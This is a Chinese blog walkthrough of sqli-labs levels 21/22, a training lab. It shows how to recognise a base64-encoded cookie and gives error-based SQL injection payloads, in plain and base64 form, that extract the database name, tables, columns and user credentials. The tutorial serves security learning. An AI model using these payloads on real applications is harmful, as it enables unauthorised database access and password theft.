当前位置：首页 > ds >正文

sqli-labs第二十一/二十二关——POST-base64

ds 2025/9/3 11:57:47

一：判断注入类型

先像前几关一样输入一组账户名和密码进行测试，得到如下回显

我们可以判断出来这一关还是在cookie上注入，把cookie的数据与前一关作对比

发现uname后面的参数被加密了，下面介绍一下

base64编码

1.概念：将二进制数据用64个可打印字符（A-Z，a-z，0-9，+，/）表示出来

2.特征：等号（=）是填充字符，用于确保编码后的字符串长度是4的倍数

PS：‘=’ 在url解码之前是%3D

所以我们观察这一段参数：长度为4的倍数，并且以等号(%3D)补齐，所以高度怀疑是base64编码

base64在线加密解密(编码解码)encode、decode – 白盒子

尝试解码，结果和我们想的一样

所以我们用base64加密之后的代码来注入，在bp抓包的cookie里面改动是可以直接选中转换代码

快捷键ctrl-B

Cookie: uname=admin'——————YWRtaW4n
Cookie: uname=admin——————YWRtaW4=
Cookie: uname=admin"——————YWRtaW4i
Cookie: uname=admin')—————YWRtaW4nKQ==
Cookie: uname=admin")——————YWRtaW4iKQ==

只有‘）回显我们想要的报错（后者），尝试闭合

闭合成功，判断正确，仍然尝试报错注入

二：开始注入

1.爆数据库名

Cookie: uname=MScpIG9yIGV4dHJhY3R2YWx1ZSgxLGNvbmNhdCgweDdlLChkYXRhYmFzZSgpKSkpIw==
——————
Cookie: uname=1') or extractvalue(1,concat(0x7e,(database())))#

2.爆表名

Cookie: uname=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())))#
——————
Cookie: uname=1') and extractvalue(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())))#

3.爆列名

Cookie: uname=1') and extractvalue(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema=database() and table_name='users')))#
——————
Cookie: uname=MScpIGFuZCBleHRyYWN0dmFsdWUoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IGdyb3VwX2NvbmNhdChjb2x1bW5fbmFtZSlmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS5jb2x1bW5zIHdoZXJlIHRhYmxlX3NjaGVtYT1kYXRhYmFzZSgpIGFuZCB0YWJsZV9uYW1lPSd1c2VycycpKSkj

4.爆数据

首先判断列数

Cookie: uname=1'） and extractvalue(1,concat(0x7e,(select count(*) from users)))#
——————
Cookie: uname=MScpIGFuZCBleHRyYWN0dmFsdWUoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IGNvdW50KCopIGZyb20gdXNlcnMpKSkj

仍然分两次得到数据

Cookie: uname=1') and extractvalue(1,concat(0x7e, substring((select group_concat(username,0x3a,password) from users),1,32)))#
——————
Cookie: uname=MScpIGFuZCBleHRyYWN0dmFsdWUoMSxjb25jYXQoMHg3ZSwgc3Vic3RyaW5nKChzZWxlY3QgZ3JvdXBfY29uY2F0KHVzZXJuYW1lLDB4M2EscGFzc3dvcmQpIGZyb20gdXNlcnMpLDEsMzIpKSkjCookie: uname=1') and extractvalue(1,concat(0x7e, substring((select group_concat(username,0x3a,password) from users),32,32)))#
———————
Cookie: uname=MScpIGFuZCBleHRyYWN0dmFsdWUoMSxjb25jYXQoMHg3ZSwgc3Vic3RyaW5nKChzZWxlY3QgZ3JvdXBfY29uY2F0KHVzZXJuYW1lLDB4M2EscGFzc3dvcmQpIGZyb20gdXNlcnMpLDMyLDMyKSkpIw==